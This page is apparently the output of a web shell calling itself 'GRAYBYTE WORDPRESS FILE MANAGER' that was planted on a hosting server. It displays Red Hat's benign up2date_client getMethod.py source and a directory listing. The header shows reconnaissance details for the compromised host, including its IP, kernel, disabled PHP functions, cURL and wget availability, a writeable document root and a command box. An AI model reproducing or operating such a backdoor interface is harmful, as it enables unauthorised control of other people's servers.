GRAYBYTE WORDPRESS FILE MANAGER5234

Server IP : 149.255.58.128 / Your IP : 216.73.216.125
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/lib/python3.9/site-packages/up2date_client/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/lib/python3.9/site-packages/up2date_client//getMethod.py
# Retrieve action method name given queued action information.
#
# Client code for Update Agent
# Copyright (c) 1999--2016 Red Hat, Inc.  Distributed under GPLv2.
#
# An allowable xmlrpc method is retrieved given a base location, a
# hierarchical route to the class/module, and method name.
#

import os
import string
import sys

from rhn.tb import raise_with_tb

try: # python2
    from types import ClassType
except ImportError: # python3
    ClassType = type

class GetMethodException(Exception):
    """Exception class"""
    pass


def sanity(methodNameComps):
    #"""
    # Verifies if all the components have proper names
    #"""
    # Allowed characters in each string
    alpha = string.ascii_lowercase + string.ascii_uppercase
    allowedChars = alpha + string.digits + '_'
    for comp in methodNameComps:
        if not len(comp):
            raise GetMethodException("Empty method component")
        for c in comp:
            if c not in allowedChars:
                raise GetMethodException(
                    "Invalid character '%s' in the method name" % c)
        # Can only begin with a letter
        if comp[0] not in alpha:
            raise GetMethodException(
                "Method names should start with an alphabetic character")


def getMethod(methodName, baseClass):
    #"""
    #Retreive method given methodName, path to base of tree, and class/module
    #route/label.
    #"""
    # First split the method name
    methodNameComps = baseClass.split('.') + methodName.split('.')
    # Sanity checks
    sanity(methodNameComps)
    # Look for the module, start with the most specific
    for index in range(len(methodNameComps), 0, -1):
        modulename = '.'.join(methodNameComps[:index])
        try:
            actions = __import__(modulename)
        except ImportError:
            # does not exist, try next one
            continue
        except Exception:
            raise_with_tb(GetMethodException("Could not import module %s" % modulename))
        # found one, skip the rest
        break
    else:
        # no module found. die
        raise GetMethodException("Action %s could not be imported" % methodName)

    # The position of the file
    fIndex = index

    className = actions
    # Iterate through the list of components and try to load that specific
    # module/method
    for index in range(1, len(methodNameComps)):
        comp = methodNameComps[index]
        if index < fIndex:
            # This is a directory or a file we have to load
            if not hasattr(className, comp):
                # Hmmm... Not there
                raise GetMethodException("Class %s has no attribute %s" % (
                    '.'.join(methodNameComps[:index]), comp))
            className = getattr(className, comp)
            #print(type(className))
            continue
        # A file or method
        # We look for the special __rhnexport__ array
        if not hasattr(className, '__rhnexport__'):
            raise GetMethodException("Class %s is not RHN-compliant" % \
                '.'.join(methodNameComps[:index]))
        export = getattr(className, '__rhnexport__')
        if comp not in export:
            raise GetMethodException("Class %s does not export '%s'" % (
                '.'.join(methodNameComps[:index]), comp))
        className = getattr(className, comp)
        if type(className) is ClassType:
            # Try to instantiate it
            className = className()
        #print(type(className))

    return className


#-----------------------------------------------------------------------------
if __name__ == '__main__':
    # Two valid ones and a bogus one
    methods = [
        'a.b.c.d.e.f',
        'a.b.c.d.e.foo.h',
        'a.b.c.d.e.g.h',
        'a.b.d.d.e.g.h',
        'a.b.d.d._e.g.h',
        'a.b.d.d.e_.g.h',
        'a.b.d.d.e-.g.h',
        'a.b.d.d..g.h',
    ]

    for m in methods:
        print("----Running method %s: " % m)
        try:
            method = getMethod(m, 'Actions')
        except GetMethodException:
            e = sys.exc_info()[1]
            print("Error getting the method %s: %s" % (m,
                ''.join(map(str, e.args))))
        else:
            method()
#-----------------------------------------------------------------------------


[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 19 2025 22:42:16
0 / root
0755
__pycache__
--
March 18 2025 22:42:18
0 / root
0755
__init__.py
0 KB
February 26 2025 11:13:36
0 / root
0644
capabilities.py
7.277 KB
February 26 2025 11:13:36
0 / root
0644
clientCaps.py
2.156 KB
February 26 2025 11:13:36
0 / root
0644
clpwd.py
3.558 KB
February 26 2025 11:13:36
0 / root
0644
config.py
12.505 KB
February 26 2025 11:13:36
0 / root
0644
debUtils.py
2.764 KB
February 26 2025 11:13:36
0 / root
0644
getMethod.py
4.201 KB
February 26 2025 11:13:36
0 / root
0644
haltree.py
4.533 KB
February 26 2025 11:13:36
0 / root
0644
hardware.py
31.91 KB
February 26 2025 11:13:36
0 / root
0644
hardware_gudev.py
12.906 KB
February 26 2025 11:13:36
0 / root
0644
hardware_hal.py
11.332 KB
February 26 2025 11:13:36
0 / root
0644
hardware_udev.py
12.988 KB
February 26 2025 11:13:36
0 / root
0644
pkgUtils.py
0.288 KB
February 26 2025 11:13:36
0 / root
0644
pkgplatform.py
0.302 KB
February 26 2025 11:56:05
0 / root
0644
pmPlugin.py
2.792 KB
February 26 2025 11:13:36
0 / root
0644
rhnChannel.py
4.913 KB
February 26 2025 11:13:36
0 / root
0644
rhnHardware.py
0.32 KB
February 26 2025 11:13:36
0 / root
0644
rhnPackageInfo.py
2.34 KB
February 26 2025 11:13:36
0 / root
0644
rhncli.py
9.116 KB
February 26 2025 11:13:36
0 / root
0644
rhnreg.py
31.219 KB
February 26 2025 11:13:36
0 / root
0644
rhnreg_constants.py
18.134 KB
February 26 2025 11:13:36
0 / root
0644
rhnserver.py
8.655 KB
February 26 2025 11:13:36
0 / root
0644
rpcServer.py
10.959 KB
February 26 2025 11:13:36
0 / root
0644
rpmUtils.py
5.196 KB
February 26 2025 11:13:36
0 / root
0644
transaction.py
4.095 KB
February 26 2025 11:13:36
0 / root
0644
tui.py
43.702 KB
February 26 2025 11:13:36
0 / root
0644
up2dateAuth.py
9.472 KB
February 26 2025 11:13:36
0 / root
0644
up2dateErrors.py
10.256 KB
February 26 2025 11:13:36
0 / root
0644
up2dateLog.py
2.059 KB
February 26 2025 11:13:36
0 / root
0644
up2dateUtils.py
5.033 KB
February 26 2025 11:56:05
0 / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF